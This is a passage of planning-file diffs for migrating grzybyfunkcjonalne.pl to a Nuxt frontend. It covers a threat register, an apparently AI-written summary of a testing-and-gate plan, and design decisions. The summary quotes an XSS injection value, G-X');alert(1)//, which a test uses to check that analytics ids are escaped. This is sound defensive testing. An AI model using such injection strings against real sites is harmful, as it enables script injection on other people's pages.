+| Test harness → Postgres | Tests create and drop databases with an admin DSN |
+| Gate script → developer machine | The gate runs builds and tests across three repos |
+| Tests → security controls | Regression tests are the evidence that the phase's mitigations hold |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16-23 | Tampering | console TestMain with GRZYBY_TEST_ADMIN_DSN | medium | mitigate | Creates grzyby_test_<random> and drops only that name; never migrates or drops the DSN's own database (T-02-05 precedent) |
+| T-16-24 | Repudiation (false green) | scripts/check-phase16.sh | medium | mitigate | Fails on FAIL, SKIP, no tests to run, not ok, DATA RACE and missing named PASS lines; DB tests fail instead of skipping outside -short |
+| T-16-25 | Tampering | regression coverage of T-16-01, T-16-10, T-16-12 | high | mitigate | htmlGate Go-parity cases plus the SSR blocked-notice case (T-16-01); TestBackendURIGfadmin and the boot route assertions (T-16-10); TestValidDiskName and TestFeaturedImageSourceEscape (T-16-12) |
+| T-16-SC | Tampering | test dependencies | high | mitigate | Only testcontainers-go v0.44.0 (STACK-named, already pinned by the Journal plugin) is added to plugins/grzyby/go.mod; no npm package is added; node --test is built in |
+</threat_model>
+
+<verification>
+- `pnpm -C ../vue-journal-layer test` and `pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app test` pass.
+- The Go command and host tests pass with -race.
+- `bash scripts/check-phase16.sh --all` prints "Phase 16 gate passed".
+</verification>
+
+<success_criteria>
+- SC-4: the phase's new code has unit tests, delivered in its last plan.
+- Every D-ID with behaviour (D-06, D-09, D-13, D-15, D-16, D-21, D-22, D-23, D-24) has at least one automated test.
+- 16-VALIDATION.md is signed off (nyquist_compliant: true).
+</success_criteria>
+
+<output>
+Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-05-SUMMARY.md` when done.
+</output>

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-05-SUMMARY.md

@@ -0,0 +1,303 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 05
+subsystem: testing (Nuxt layer, site app SSR, Go host and app plugin)
+tags: [node-test, tap, nuxt-ssr, go-test, testcontainers, postgres, phase-gate, validation]
+status: complete
+
+requires:
+  - phase: 16-01
+    provides: "vue-journal-layer utils (routes, client, pagination, htmlGate, sitemap, seo), i18n, testing/fixture-api.mjs and nuxt-server.mjs"
+  - phase: 16-02
+    provides: "vue-grzybyfunkcjonalne-app (PHP URL map, gaHeadScripts, menu, FAQ, fixtures and expect.txt)"
+  - phase: 16-03
+    provides: "golem15.grzyby commands (import-featured-images, import-categories), boot_test.go, check-deploy.sh"
+  - phase: 16-04
+    provides: "staging deploy proven with smoke.sh --url (98 urls)"
+provides:
+  - "vue-journal-layer: pnpm test (node --test) over 7 util test files, 78 tests; main a4dca42 (no new tag, no runtime change)"
+  - "vue-grzybyfunkcjonalne-app: tests/ssr.test.ts (built server against the fixture API, 16 tests), analytics and content tests; fixture post test-niebezpieczny-wpis; main 5b10bc0"
+  - "sm-grzybyfunkcjonalne-app: plugins/grzyby/console tests with a fail-closed Postgres harness (GRZYBY_TEST_ADMIN_DSN or testcontainers), TestBackendURIGfadmin, TestGrzybyCommandsRegistered; master 87e5353"
+  - "summercms.go scripts/check-phase16.sh (--self-test, --layer, --layer-smoke, --app, --host, --plugin, --deploy, --all)"
+  - "16-VALIDATION.md signed off (nyquist_compliant: true, wave_0_complete: true)"
+affects: [phase 16 verification, production cutover of grzybyfunkcjonalne.pl, other Golem15 blogs consuming vue-journal-layer]
+
+actuals:
+  tokens: 23821    # chars/4 over added lines: host c797ab9..87e5353 (go.sum excluded), app b50c808..5b10bc0, layer 783426c..a4dca42, summercms.go c5e03f4 and a8c65bc
+  tasks: 3
+  commits: 3       # MEASURED in sm-grzybyfunkcjonalne-app: git rev-list --count c797ab9..HEAD; plus app 2, layer 1, summercms.go 2 (listed below)
+commits: 3
+plan_head_before: c797ab9d23e0a9e5d6862811560ab4c832a3c57c   # sm-grzybyfunkcjonalne-app
+plan_head_after: 87e5353ffc96d8999a4567c086eaad8b177fbad4    # sm-grzybyfunkcjonalne-app, pushed to origin/master
+
+tech-stack:
+  added: ["testcontainers-go v0.44.0 and modules/postgres v0.44.0 in plugins/grzyby/go.mod (the Journal plugin's pin; test-only)"]
+  patterns:
+    - "node --test over .ts with explicit .ts imports; tests in node_modules-free utils, SSR checked through the built server"
+    - "App SSR test imports the layer's plain .mjs testing helpers from node_modules/vue-journal-layer/testing"
+    - "Go DB harness: TestMain creates one random ICU database, migrates through lagoon.Migrate + party.Activate, drops only that database, fails outside -short when no database exists"
+    - "Trap *gorm.DB on a closed port proves a code path makes no query"
+    - "Phase gate with two fail-closed detectors (go test -json and node TAP), each with a planted-input self-test"
+
+key-files:
+  created:
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts
+    - ../vue-journal-layer/tests/routes.test.ts
+    - ../vue-journal-layer/tests/client.test.ts
+    - ../vue-journal-layer/tests/pagination.test.ts
+    - ../vue-journal-layer/tests/htmlGate.test.ts
+    - ../vue-journal-layer/tests/sitemap.test.ts
+    - ../vue-journal-layer/tests/seo.test.ts
+    - ../vue-journal-layer/tests/i18n.test.ts
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/export/badania-nad-cordycepsem.json
+    - scripts/check-phase16.sh
+  modified:
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
+    - ../vue-journal-layer/package.json
+    - ../vue-journal-layer/README.md
+    - ../sm-grzybyfunkcjonalne-app/boot_test.go
+    - ../sm-grzybyfunkcjonalne-app/README.md
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum
+    - .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md
+    - .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
+
+key-decisions:
+  - "No layer util needed a fix, so vue-journal-layer gets no v0.1.1 tag; the app keeps pinning v0.1.0 and the layer's main carries only tests"
+  - "The malformed-GA-id SSR case asserts the id appears only as the JSON string in window.__NUXT__.config (Nuxt serializes public runtime config) and nowhere else, instead of a literal absence of alert(1), which Nuxt makes impossible"
+  - "The grzyby harness creates its database with ICU pl-PL like production and fails, not skips, without GRZYBY_TEST_ADMIN_DSN or Docker outside -short"
+  - "The gate reads go test -json and node TAP rather than grepping -v text, and requires named tests per stage"
+
+patterns-established:
+  - "Phase gate per site phase: layer, layer smoke, app (install, build, tests, smokes), host, app plugin with -race, deploy config"
+
+requirements-completed: [SC-4]
+
+coverage:
+  - id: D1
+    description: "The built site answers every PHP URL form with the right status, static pages beat /:category, canonical and titles keep ?page=N and the site name, pl only, empty category state, category content above the list, unsafe body blocked, XFF forwarded, feed types, sitemap entries, no forms, and GA only for a valid id (D-14, D-15, D-16, D-21, D-23, D-24, T-16-01, T-16-07)"
+    requirement: SC-4
+    verification:
+      - kind: integration
+        ref: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts (pnpm build && pnpm test: 16 ssr tests pass, 0 skipped)"
+        status: pass
+      - kind: other
+        ref: "mutation: htmlGate isSafeJournalHtml forced true in node_modules copy, rebuild -> 'not ok 8 - T-16-01: an unsafe post body renders the blocked notice only'; restored and rebuilt -> 16/16 pass"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Layer util unit tests: route normalization and filling, client query building with include_empty=1 and 404 handling, pagination, the HTML gate's Go parity cases, sitemap from journal.routes, SEO values, pl/en key and placeholder parity (D-06, D-13, D-16, D-24, T-16-01)"
+    requirement: SC-4
+    verification:
+      - kind: unit
+        ref: "pnpm -C ../vue-journal-layer test -> # tests 78, # pass 78, # fail 0, # skipped 0"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "App util and content tests: gaHeadScripts for empty, malformed and valid ids; FAQ 16 entries; MAIN_MENU kinds and label keys; every t() key in app/**/*.vue resolves (D-23, T-16-07)"
+    requirement: SC-4
+    verification:
+      - kind: unit
+        ref: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts and tests/content.test.ts (pnpm test: 25 total, 25 pass)"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "Go tests for grzyby:import-featured-images (blob at attach.BlobKey, system_files row, idempotent, base slug through the export, traversal refused before reading, failures, dry run) and grzyby:import-categories (pl preferred, content written, unchanged rerun, unknown slug, dry run) against a throwaway database (D-21, D-22, T-16-12, T-16-23)"
+    requirement: SC-4
+    verification:
+      - kind: unit
+        ref: "GRZYBY_TEST_ADMIN_DSN=<throwaway initdb cluster> go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby test ./... -count=1 -v -race -> 10 top-level --- PASS, no SKIP, no DATA RACE; database list afterwards: postgres, template0, template1"
+        status: pass
+      - kind: unit
+        ref: "without a DSN or Docker: FAIL with the GRZYBY_TEST_ADMIN_DSN message; with -short: 5 pure tests PASS, 5 DB tests SKIP"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Host boot tests: backend.uri and cabana.AdminPrefix are /gfadmin, admin routes under /gfadmin/ and none under /backend, grzyby commands registered (D-09, T-16-10)"
+    requirement: SC-4
+    verification:
+      - kind: unit
+        ref: "go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal|TestCORS|TestBackendURIGfadmin|TestGrzybyCommandsRegistered)$' -> 4 PASS"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Fail-closed phase gate across the three repos and the VALIDATION sign-off (T-16-24)"
+    requirement: SC-4
+    verification:
+      - kind: integration
+        ref: "bash scripts/check-phase16.sh --all -> PASS self-test, layer, layer-smoke (28 checks), app (25 tests, 36 + 2 smoke checks), host, plugin, deploy; last line 'Phase 16 gate passed'"
+        status: pass
+    human_judgment: false
+  - id: D7
+    description: "The grzyby harness's testcontainers path (postgres:16-alpine with ICU pl-PL) works where Docker is available"
+    verification: []
+    human_judgment: true
+    rationale: "Docker is unreachable for this user, so only the GRZYBY_TEST_ADMIN_DSN path ran; logged in deferred-items.md"
+
+duration: 19 min
+completed: 2026-10-09
+---
+
+# Phase 16 Plan 05: Unit tests and phase gate Summary
+
+**Every piece of Phase 16 code now has automated tests. A `node --test` SSR test boots the built grzybyfunkcjonalne.pl server against the fixture Journal API and checks every PHP URL form, the locale, analytics and the HTML gate. 78 layer util tests and 9 app util/content tests run without a build. Go tests cover both grzyby import commands against a throwaway ICU database and the `/gfadmin` boot. `scripts/check-phase16.sh --all` runs everything and ends with "Phase 16 gate passed".**
+
+## Performance
+
+- **Duration:** 19 min
+- **Started:** 2026-10-09T17:57:30Z
+- **Completed:** 2026-10-09T18:16:14Z
+- **Tasks:** 3 (Task 1 a tracer, re-verified before expansion)
+- **Files:** 27 across four repositories (15 created, 12 modified)
+
+## Accomplishments
+
+- **SSR tracer (D-15, D-16, D-21, D-23, D-24, T-16-01).** `tests/ssr.test.ts` starts the layer's fixture API and `.output/server/index.mjs` and checks:
+  - 23 URLs for their status, including `/blog?page=0|abc|3`, `/404`, `/error`, `/rss`, `/feed`, `/en`, `/blog/tag/anything`;
+  - static pages over `/:category`, the `?page=2` canonical and "Strona 2" title, the post title suffix "| Grzyby Funkcjonalne";
+  - the empty-state copy on `/amanita-muscaria`, "Cordyceps w pigułce" before the first post card;
+  - the new fixture post `test-niebezpieczny-wpis`: the blocked class, no `onerror`, no `alert(1)`;
+  - XFF `198.51.100.9` reaching the fixture API, `include_empty=1` on every categories request;
+  - RSS content type, sitemap entries, no `<form>`;
+  - three servers for D-23: default (no gtag), `G-MLSV7WJ6W4` (loader and config call), malformed (no gtag).
+  - A mutation run (gate forced open in a copy of the layer in `node_modules`) made the T-16-01 case fail, so the case depends on the gate.
+- **Layer util tests.** Seven files, 78 tests: `routes`, `client` (fake fetcher), `pagination`, `htmlGate` (the six Go `FormatHTML` cases plus upper case), `sitemap`, `seo`, `i18n` parity. No util needed a fix, so there is no new layer tag.
+- **App util and content tests.** `analytics.test.ts` and `content.test.ts`: GA ids, 16 FAQ entries, menu kinds, and every `t()` key in the templates resolving against `pl.json` or the layer's `journal.*` strings.
+- **Go tests (D-21, D-22, D-09, T-16-10, T-16-12, T-16-23).**
+  - `testmain_test.go` creates `grzyby_test_<hex>` with `LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL'`, migrates through `lagoon.Migrate` with translate and Journal activated, and drops only that database.
+  - Featured images: `TestReadFeaturedImageMap`, `TestValidDiskName`, `TestFeaturedImageSourceEscape` (pure, with a trap database), `TestImportFeaturedImagesRequiresInputs`, `TestImportFeaturedImages`, `TestImportFeaturedImagesFailures`, `TestImportFeaturedImagesDryRun`.
+  - Categories: `TestReadCategoryMap`, `TestImportCategories`, `TestImportCategoriesDryRun`.
+  - Host: `TestBackendURIGfadmin`, `TestGrzybyCommandsRegistered`.
+- **Gate (T-16-24).** `scripts/check-phase16.sh` has seven stages. Its two detectors (go test JSON and node TAP) each refuse planted fail, skip, todo, zero, no-tests, race and missing-name inputs in `--self-test`.
+- **Validation.** 16-VALIDATION.md rows are bound to 16-01-T2 … 16-05-T3 with threat refs and are all green. Wave 0 is ticked, and `nyquist_compliant: true`.
+
+## Task Commits
+
+1. **Task 1 (tracer): SSR test of the built site.**
+   - App `269ba3d` (test), pushed.
+   - Host `cae7fd1` (chore: gitlink), pushed.
+   - Tracer gate: interactive, `end-of-phase`, automated-only verify. Re-ran `pnpm build && pnpm test` (16/16) before expanding.
+2. **Task 2: layer util tests and app util/content tests.**
+   - Layer `a4dca42` (test), pushed to main. No tag, since there was no runtime change.
+   - App `5b10bc0` (test), pushed.
+   - Host `a60a031` (chore: gitlink), pushed.
+3. **Task 3: Go tests, gate and sign-off.**
+   - Host `87e5353` (test: grzyby command and boot tests), pushed.
+   - summercms.go `c5e03f4` (test: Phase 16 gate).
+   - summercms.go `a8c65bc` (docs: validation sign-off).
+
+**Plan metadata:** the docs(16-05) commit in summercms.go (this SUMMARY, deferred-items.md, STATE, ROADMAP).
+
+## Files Created/Modified
+
+See `key-files`. Notes:
+
+- `tests/fixtures/api/posts.json` gains post 15, `test-niebezpieczny-wpis`. It is dated 2024-01-15 and has no category, so the homepage's latest posts, the category listings and the 2-page `/blog` stay as they were.
+- `expect.txt` gains its smoke line (36 checks now).
+- The host README documents `go -C plugins/grzyby test ./... -race` and `GRZYBY_TEST_ADMIN_DSN`.
+
+## Decisions Made
+
+See `key-decisions` in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Plan data] The malformed GA id is in the page as serialized runtime config**
+- **Found during:** Task 1 (first SSR test run: `the malformed id reached the page`).
+- **Issue:** Nuxt writes `runtimeConfig.public` into `window.__NUXT__.config`, so `gaId:"G-X');alert(1)//"` appears once as a double-quoted JS string literal. There, the single quote cannot end the string, so nothing executes. The plan's literal "no alert(1)" cannot hold for any public config value.
+- **Fix:** The test asserts that there is no `googletagmanager`, no `gtag(`, that the id appears as `gaId:"…"` (JSON-encoded), and that `alert(1)` appears nowhere else on the page.
+- **Files modified:** `tests/ssr.test.ts`.
+- **Commit:** `269ba3d`.
+
+**2. [Rule 3 - Blocking] Host boot tests need the JWT secrets**
+- **Found during:** Task 3 (`TestGrzybyCommandsRegistered`: `golem15.user: jwt.secret is empty`).
+- **Fix:** A `setTestSecrets` helper, used by both new tests. They load the committed config through the existing `loadCommittedConfig` copy instead of `compass.Load("config")`, so a local `.env` cannot override `backend.uri` (16-03 decision).
+- **Commit:** `87e5353`.
+
+**3. [Rule 3 - Blocking] `go mod tidy` cannot run offline for the test dependencies**
+- **Issue:** Tidy wants the test dependencies of testcontainers' own dependencies (rapid, pty, objx), which are not in the module cache.
+- **Fix:** I ran `go get` of the pinned versions (v0.44.0, pgx v5.10.0, gorm postgres v1.6.3, translate), then `go mod tidy -e`. `go vet` passes in `-mod=readonly`, workspace and host mode.
+- **go.mod changes:** The redundant `toolchain go1.27.0` line was dropped, because the go command rejects it as an update under `-mod=readonly`.
+- **Commit:** `87e5353`.
+
+**4. [Scope addition] Extra tests beyond the behavior list**
+- I added `TestImportFeaturedImagesRequiresInputs`, `TestImportFeaturedImagesFailures` (also covering base slug without export, sniff mismatch and size mismatch) and `TestImportCategoriesDryRun`.
+- Layer tests cover `paginationWindow`, `isNotFound`, `encodeSlugPath`, `htmlToText` and `truncateText`.
+- The SSR test also asserts `include_empty=1` on every categories request.
+
+**5. [Plan wording] The gate parses `go test -json`, not `-v` text**
+- **Issue:** The plan describes grepping `--- FAIL`, `--- SKIP` and PASS lines. The gate follows `check-phase15.sh` instead: it reads `go test -json -v` events. That is the same fail-closed contract (fail, skip, no tests to run, DATA RACE, missing named PASS) without text-format fragility.
+- **Node runs:** They use a TAP detector with named tests per stage.
+
+---
+
+**Total deviations:** 5. That is 1 plan-data correction, 2 blocking fixes and 2 scope or wording adjustments.
+**Impact on plan:** Every named artifact, test name, env var and gate line exists. No runtime code changed in any repo.
+
+## Issues Encountered
+
+- **Postgres.** Docker is unreachable for user `golem`, and `GRZYBY_TEST_ADMIN_DSN` was not set.
+  - I used the sanctioned fallback: a throwaway PostgreSQL 18.6 cluster (`initdb`, ICU pl-PL, trust auth) on 127.0.0.1:55495 in the scratchpad.
+  - It was passed as `GRZYBY_TEST_ADMIN_DSN` through the environment only.
+  - The harness needs no code override, so no repo file was touched for it.
+  - The cluster was stopped and deleted afterwards.
+  - The testcontainers path is untested here (deferred-items.md).
+- **pnpm.** It ran with `TMPDIR` in the scratchpad and the project-drive store, as in 16-01..16-04.
+- **summercms.go Go code.** It is unchanged by this plan, which added a shell script and docs only. I did not run `go test ./...` there, because another session has uncommitted edits in that tree.
+- **Concurrent work.**
+  - summercms.go has another session's uncommitted `ROADMAP.md` change and untracked phase 16.1/16.2/18.1 directories. They were left alone.
+  - `.planning/state.json` stays unstaged.
+  - The host's untracked `.gsd/` was left alone.
+
+## Known Stubs
+
+None. The plan adds tests, fixtures and docs only.
+
+## Threat Flags
+
+None. No runtime surface was added.
+- **T-16-23:** the harness drops only `grzyby_test_<hex>`; after the run the cluster listed only `postgres`, `template0` and `template1`.
+- **T-16-SC:** testcontainers-go v0.44.0 is the only Go addition, and no npm package was added.
+
+## User Setup Required
+
+For the full gate on another machine:
+- set `GRZYBY_TEST_ADMIN_DSN` (see 16-USER-SETUP.md and the host README), or make Docker available;
+- have `nginx` and `pnpm` on the PATH.
+
+## Next Phase Readiness
+
+- Phase 16 is complete: all five plans have SUMMARYs, VALIDATION is signed off, and the gate passes.
+- Still open for `/msd-verify-work`:
+  - the staging visual review (16-04 D5);
+  - the testcontainers run;
+  - the deferred items (layer XFF under swr, `cta.png` size, the framework DB-for-plugin-commands gap, the fileblob `no_tmp_dir` default).
+
+## Self-Check: PASSED
+
+- FOUND: all 15 created files and the 12 modified files listed in `key-files`.
+- FOUND commits:
+  - app `269ba3d` and `5b10bc0` on origin/main;
+  - layer `a4dca42` on origin/main;
+  - host `cae7fd1`, `a60a031` and `87e5353` on origin/master;
+  - summercms.go `c5e03f4` and `a8c65bc`.
+- Plan verification:
+  - layer `pnpm test` gives 78/78;
+  - app build plus `pnpm test` gives 25/25;
+  - Go plugin `-race` gives 10 PASS;
+  - host gives 4 PASS;
+  - `bash scripts/check-phase16.sh --all` ends with "Phase 16 gate passed".
+
+---
+*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
+*Completed: 2026-10-09*

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md

@@ -0,0 +1,153 @@
+# Phase 16: grzybyfunkcjonalne.pl on reusable blog views - Context
+
+**Gathered:** 2026-10-07
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+grzybyfunkcjonalne.pl gets a new Nuxt frontend built the same way as `vue-summercmsio-app`. Its styling is based on the current arsha theme but refreshed. It reads Journal content from the Phase 15 `/_journal/api/v1`, and the Go binary (`sm-grzybyfunkcjonalne-app`) stays headless. The blog views (Journal pages, components and API client) live in a reusable Nuxt layer, so a later blog (golem15.com, a summercms.io blog) can mount them with its own content and styling.
+
+The phase ends with the site **deploy-ready on staging** on the same server as the PHP site. The production nginx/DNS switch is a separate operational step after the phase.
+
+Out of scope: porting the Winter arsha/Twig theme or a Go server-side template engine; the menu, FAQ, sitemanager, blocks and sitemap plugin ports; the contact and newsletter forms; an English locale; changes to `sm-journal-plugin`'s API contract (Phase 15 D-14), except the author endpoint and category pillar content added by pre-execution quick tasks (D-20, D-21). `summercms.go` is touched only if a framework feature turns out to be missing.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Rendering approach (user-stated before discussion)
+- **D-01:** Build a new Nuxt theme following summercms standards (the `vue-summercmsio-app` setup: Nuxt 4, `@nuxtjs/i18n`, `@nuxtjs/seo`, `@nuxt/fonts`, pnpm, node `--test`). The styling is based on grzybyfunkcjonalne but refreshed, not a pixel copy of arsha/Bootstrap. Go stays headless. No Go `html/template` theme layer and no Twig port. — **Reversibility:** costly — every public page is a Nuxt page that consumes the Journal JSON API.
+
+### Reuse shape
+- **D-02:** The reusable blog views are a **Nuxt layer** in a new repo `vue-journal-layer` (`git.golem15.com/golem15/vue-journal-layer`). Site apps consume it with `extends`. — **Reversibility:** costly — later blogs build on the layer's structure.
+- **D-03:** The layer ships a **neutral base design driven by CSS custom-property tokens** (colors, fonts, spacing, radii). It looks clean on its own. Site apps override the tokens and can override any layer component. The refreshed grzyby design lives in the site app, not in the layer.
+- **D-04:** Distribution is a **pnpm git dependency** with a pinned tag: `git+https://git.golem15.com/golem15/vue-journal-layer.git#<tag>`, with the commit locked in `pnpm-lock.yaml`. There is no npm registry and no submodule for the layer. (`git.golem15.com` is Gitea 1.25.4, and a public repo needs no auth.) Local development uses `pnpm link` or a `link:../vue-journal-layer` override. A release is a git tag.
+- **D-05:** The layer owns these Journal views and their data access: post list with pagination (successor of `journalPosts`, with sort and page size configurable), single post (successor of `journalPost`: rendered markdown, featured image, meta, related/random posts like `randomPosts`), category and tag listings, the author page (successor of `journalAuthor`), and the RSS feed link. It also owns a typed client for `/_journal/api/v1` (anonymous GET routes only).
+- **D-06:** Route paths in the layer must be configurable or overridable by the app, because grzyby uses specific PHP URLs (D-15) that another blog may not want.
+
+### Render & deploy
+- **D-07:** **SSR**: `nuxt build` runs as a Node server, with `routeRules` swr/ISR caching so a newly published post shows up without a rebuild and pages stay full HTML for SEO. Unlike summercms.io (`nuxt generate` embedded in the binary), this site runs two processes: the Go binary and the Nuxt Node server. — **Reversibility:** costly — deploy scripts, supervisor and nginx topology depend on it.
+- **D-08:** The Nuxt app is a new repo `vue-grzybyfunkcjonalne-app`, mounted as a **submodule in `sm-grzybyfunkcjonalne-app`**, the same way `vue-summercmsio-app` is mounted in `sm-summercmsio-app`.
+- **D-09:** The admin is exposed on the site domain at **`/gfadmin`** (set with `backend.uri: /gfadmin` in the host config; cabana supports this without a framework change). nginx routes `/gfadmin` and `/_journal` (plus media/storage paths) to Go and everything else to Nuxt. PHP used `/backend`; the new path is intentional.
+- **D-10:** Deploy target is the **same server as the PHP site**. Staging runs next to the live Winter install. The later cutover switches nginx, and the Winter install stays as the rollback.
+
+### Non-Journal content
+- **D-11:** The homepage marketing content (hero, about, why-us, CTA and the other sitemanager blocks, `content/blocks/*`, `content/homepage`, `content/blog` headers, the kontakt page content) moves **into the Nuxt app repo** as components plus i18n/markdown, with the current Polish copy carried over. The sitemanager `enable_*` toggles are dropped, and the design decides which sections stay. No sitemanager or blocks plugin port.
+- **D-12:** The main menu (`g15_menu`) becomes typed config in the app, and the FAQ (`g15_faq` slug `what-mushrooms-can-give-you`) becomes static i18n/markdown content in the app. Both get proper plugins later; todos `menu-plugin-port.md` and `faq-plugin-port.md` were added.
+- **D-13:** SEO and sitemap use **`@nuxtjs/seo` in the layer**: per-post meta, OG tags, canonical, robots (honor the per-page `robots_noindex` equivalents), and `sitemap.xml` generated from `/_journal/api/v1` plus the app's static pages. This replaces `eagle_seo` and `Golem15.Sitemap` for this site. `sm-sitemap-plugin` stays on the backlog.
+- **D-14:** The contact and newsletter forms are **dropped**. The kontakt page shows contact details and an email link only, and the newsletter stays in backlog 999.1. No new Go endpoints.
+
+### URLs, i18n, migration, cutover
+- **D-15:** **The PHP public URLs stay identical**: `/`, `/blog` (with pagination), `/blog/:post`, `/autor/:author`, `/kontakt`, `/:category` (root-level catch-all, where known static routes take precedence), plus `/404` and `/error` behavior. Research must enumerate the real live URLs (including the pagination query/segment form and `trwaja-prace`) so none are lost. — **Reversibility:** one-way — search-indexed URLs; changing them later needs a 301 map.
+- **D-16:** **Polish only, i18n-ready**: `@nuxtjs/i18n` is wired in the layer and the app, the layer ships pl and en UI strings, and the site serves `pl` without a URL prefix. A later blog can enable more locales.
+- **D-17:** Content migration uses the Phase 15 **`journal:import-posts`** command fed by a PHP Journal export (the PHP repo already has `journal-export/*.json`), plus copying featured images and media into Go storage. Research must check that the export format matches the importer, and that slugs, authors, categories, tags, published dates and media references survive; it must flag gaps rather than patch over them.
+- **D-18:** **The phase stops at staging.** grzybyfunkcjonalne content runs end to end on staging (Go + Nuxt + imported posts) on the PHP site's server, with a smoke check that hits every old URL. The production switch is not a plan in this phase. Success criterion 1 counts as met once the site is served by SummerCMS on staging.
+
+### Decisions after research (2026-10-09, from 16-RESEARCH.md open questions)
+- **D-19:** **5 plans**: (1) `vue-journal-layer`, including the spike that installs it from the git tag, (2) `vue-grzybyfunkcjonalne-app` with the content port, (3) host config, migration tooling and deploy scripts, (4) staging deploy plus smoke check as a human checkpoint, (5) unit tests.
+- **D-20:** **Author API in the Journal plugin**, as a prerequisite. A `/msd-quick` task in `sm-journal-plugin` runs *before* Phase 16 execution and adds an anonymous author endpoint: an author slug plus the public profile fields the author page needs, and the author's posts. This supersedes the "no `sm-journal-plugin` API changes" boundary for this addition only. Phase 16 plans consume that endpoint for `/autor/:author` (D-05) and do not implement it. If the endpoint isn't there at execution start, the layer plan stops at a checkpoint. — **Reversibility:** costly — published API addition on a shared plugin.
+- **D-21:** **Category pillar content in the Journal plugin**, as a prerequisite. A `/msd-quick` or `/msd-fast` task in `sm-journal-plugin` runs *before* execution and adds a rich content field to Category, exposed in the admin form and in the categories API. Phase 16 renders it on `/:category` pages above the post list, and plan 3's migration fills it from the PHP database. No app-side pillar files.
+- **D-22:** **Featured images** come in through an **app-local Go command** in `sm-grzybyfunkcjonalne-app`. It reads a slug→file map produced by a SQL query on the PHP database and copies the files under their Winter disk names, so old image URLs keep resolving. It is idempotent and has unit tests.
+- **D-23:** **Google Analytics carries over**: tag `G-MLSV7WJ6W4`, set through Nuxt runtime config (`NUXT_PUBLIC_…`) so staging can leave it empty.
+- **D-24:** **`/amanita-muscaria` stays.** The layer always requests categories with `include_empty=1`, so an empty category renders 200 with its pillar content and an empty list.
+- **D-25:** **`pl` becomes the default locale before `journal:import-posts`** (RESEARCH key finding: the 62 live post URLs use Polish slugs). It is a scripted, ordered migration step that imports once into a fresh database (`--force` re-runs are unsafe after the switch).
+
+### Claude's Discretion
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan" (the layer gets Vitest or `node --test` tests, and app-local Go code gets Go tests).
+- How the layer exposes route configuration (`app.config`, runtime config or pages override) and token names.
+- How markdown renders on the Nuxt side (render server-side from the API's markdown or HTML field, whichever the Phase 15 API returns), with sanitization consistent with Journal's XSS rules.
+- Exact swr/ISR TTLs, supervisor/nginx config and scripts layout, modeled on `sm-summercmsio-app/deploy` and `scripts/`.
+- Whether the refreshed visual direction gets a `/gsd-ui-phase` UI-SPEC before planning (recommended, not required).
+- Run the security-review agent only if new Go endpoints or auth surface appear. None are planned.
+
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Roadmap and prior decisions
+- `.planning/ROADMAP.md` § Phase 16 — goal, repos, success criteria
+- `.planning/phases/15-journal-plugin/15-CONTEXT.md` — Journal API contract (D-14), host app layout (D-18–D-23), what Phase 16 inherits
+- `.planning/phases/15-journal-plugin/15-VERIFICATION.md`, `15-UAT.md` — what actually shipped in Phase 15
+- `.planning/notes/core-plugins-own-repos.md` — repo naming and submodule mount pattern
+- `.planning/todos/pending/menu-plugin-port.md`, `faq-plugin-port.md` — follow-ups created by D-12
+- `.planning/todos/pending/sitemap-plugin-port.md` — stays deferred (D-13)
+
+### Journal API (consumed by the layer)
+- `../sm-journal-plugin/` — the Go plugin: routes and README for `/_journal/api/v1`
+- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/API.md` — request/response contract (frozen SHA `02110eb`)
+
+### SummerCMS Nuxt standards (pattern to copy)
